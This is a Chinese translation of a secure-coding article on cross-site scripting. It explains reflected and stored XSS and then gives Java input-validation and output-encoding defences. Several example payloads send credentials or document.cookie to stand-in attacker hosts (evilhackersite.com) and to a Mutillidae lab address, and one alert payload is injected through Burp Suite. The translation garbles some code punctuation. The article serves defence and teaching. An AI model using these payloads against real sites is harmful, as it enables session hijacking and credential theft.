聲明:本文由Bypass整理並翻譯,僅用於安全研究和學習之用。php
文章來源:https://medium.com/bugbountywriteup/how-to-write-secure-code-b2757b59cd4b程序員
如何編寫安全代碼?保護本身免受跨站點腳本攻擊!正則表達式
過去幾個月我一直致力於安全代碼實踐,我一直在努力與社區討論易於採用的方法。咱們天天看到的不安全代碼的數量確實使人震驚,咱們都贊成「預防勝於治療」。數據庫
保持咱們的代碼和應用程序安全的最佳方法是從一開始就正確編程。編寫安全代碼並不困難或複雜,只須要程序員知道在哪裏包含安全檢查。這是幾行額外代碼的問題,但僅此一項就能夠抵禦針對您的應用程序的大量攻擊。編程
所以,這篇特別的文章「如何編寫安全代碼?」專一於跨站點腳本問題。瀏覽器
只要應用程序獲取不受信任的數據並將其發送到Web瀏覽器而沒有正確的驗證和轉義,就會發生跨站點腳本漏洞。XSS容許攻擊者在受害者的瀏覽器中執行腳本,這些腳本可能會劫持用戶會話,破壞網站或將用戶重定向到惡意網站。安全
下面的代碼是發生XSS攻擊的示例之一,所採用的輸入未通過清理,而且直接傳遞給參數。服務器
String firstNameParameter =(String)
request.getParameter(「firstName」);
用戶輸入的值當即存儲在局部變量firstNameParameter中,而後在HTTP響應中將值發送到瀏覽器,而不進行任何輸出編碼。cookie
在本文中,我將介紹幾種不一樣類型的攻擊和方法,即您天天面臨的攻擊和方法以及可用於防止它們的方法: 框架
它一次針對一名受害者進行追蹤,當惡意負載傳遞給受害者而且他們最終點擊惡意URL並讓黑客訪問他們的cookie和其餘數據時,能夠看到它在行動中。
這裏是有效載荷的示例,若是受害者執行該攻擊,則攻擊者能夠訪問其詳細信息。
https://mybank.com/submitForm.do?customer= <script> function + stealCredentials() { location.href =「 www.evilhackersite.com?name = document.myform.username.value &password = document.myform.pword .value「 } </ script> //整個腳本將做爲url傳遞。 //它已被提出以加強可讀性。
另外一個例子是咱們訪問一個密碼生成器的網頁。乍一看,頁面看起來不容易受到任何攻擊,由於咱們所要作的就是按「生成密碼」按鈕。
咱們打開咱們的burp-suite並在咱們的代理選項卡中攔截請求。咱們將其發送到轉發器選項卡以檢查請求查詢和相應的響應查詢。下面的圖像是咱們傳遞的第一個請求,咱們能夠觀察到咱們在請求查詢中傳遞的用戶名會反映在響應查詢中。
如今咱們知道,用戶名反映給咱們,咱們可使用咱們的有效負載注入值字段。如今惟一須要的是咱們如何設計有效負載,以便咱們能夠按預期執行命令。
「; catch(e){} alert('inject'); try(a =」//咱們的有效載荷
上圖顯示了請求和附加有效負載的響應查詢,彷佛已經成功。咱們對整個有效負載進行url編碼,而後經過代理選項卡再次發送,並檢查咱們在瀏覽器中收到的結果。
在代理選項卡中傳遞有效內容
正如預期的那樣,咱們會收到一個警告框,該框顯示在瀏覽器中,代表攻擊有效負載已經起做用。
當代碼被注入正在託管的服務器端程序時,就會發生此攻擊。所以,每當用戶導航到特定網頁或連接時,他們就是存儲的XSS攻擊的受害者。
存儲的XSS攻擊能夠按以下方式執行,若是頁面上的圖像以這樣的方式注入:每當頁面加載惡意腳本(以下所示)時加載而不是圖片,而後抓取用戶的cookie。
<script> newImage()。src =「 http://myevilhackersite.com/login.cgi?c= "+encodeURI(document.cookie ) ; </ script> //咱們的有效載荷
存儲的XSS的另外一個例子以下:
在咱們旁邊的登陸頁面中,輸入test做爲用戶名和密碼。咱們所作的每件事都記錄在日誌數據庫中。咱們能夠繼續檢查日誌數據庫,在那裏咱們能夠看到註冊了測試用戶名的失敗登陸嘗試。所以,若是用戶名沒有被清理並直接保存在日誌中,那麼咱們能夠利用它來發起存儲的XSS攻擊。
咱們在用戶名字段中傳遞如下有效負載,以查看咱們是否可以執行XSS攻擊。
<script> document.location =「 http://192.168.56.103/mutillidae/index.php?page=capture-data.php&c=」+ document.cookie </ script>
只要咱們在用戶名框中傳遞咱們的有效負載並打開日誌文件,咱們就能夠清楚地看到cookie存儲在那裏,正如咱們所但願的那樣。
所以,如今每當有人打開日誌文件時,他們的cookie值將被髮送到capture-data.php頁面,而後存儲數據。
咱們已經詳細討論瞭如何利用咱們的代碼在網站上執行惡意XSS攻擊。咱們能夠採起的步驟以下: -
而不是直接使用和接收參數「firstName」。
String firstNameParameter =(String)
request.getParameter(「firstName」);
private final String MY_DATAVALIDATION_WHITELIST =「[a-zA-Z] *」; public boolean mustPassWhiteListCheck(String clientSideParameter)拋出 WhiteListFailureException { boolean checkValue = false; checkValue = Pattern.matches(MY_DATAVALIDATION_WHITELIST,clientSideParameter); if(checkValue == false) { throw new WhiteListFailureException(「Possible Attack !!!」); } return checkValue; }
下面的代碼是沒有執行編碼的代碼。
System.out.println(「<HTML> <HEAD> <BODY> Hello +」+
request.getParameter(「firstName」)+「</ BODY> </ HTML>」);
如今咱們將對上面的代碼進行小的修改,在輸入被咱們的正則表達式殺菌劑消毒以後,咱們將把值傳遞給print語句。
System.out.println(「<HTML> <HEAD> <BODY> Hello +」+ Encoder()。
encodeForHTML(sanitisedFirstNameVariable)+「</ BODY> </ HTML>」);
至少咱們須要爲這些值執行URL編碼: -
a)HTML正文
b)HTML屬性
c)URL
d)JavaScript
e)級聯樣式表
XSS是一種危險的攻擊,能夠自動搜索XSS。存儲和反射的XSS可能會對應用程序形成嚴重損害。防止這些攻擊的最基本方法之一是執行適當的輸入驗證和輸出編碼。正確實現這兩個功能能夠幫助咱們有效防護XSS攻擊。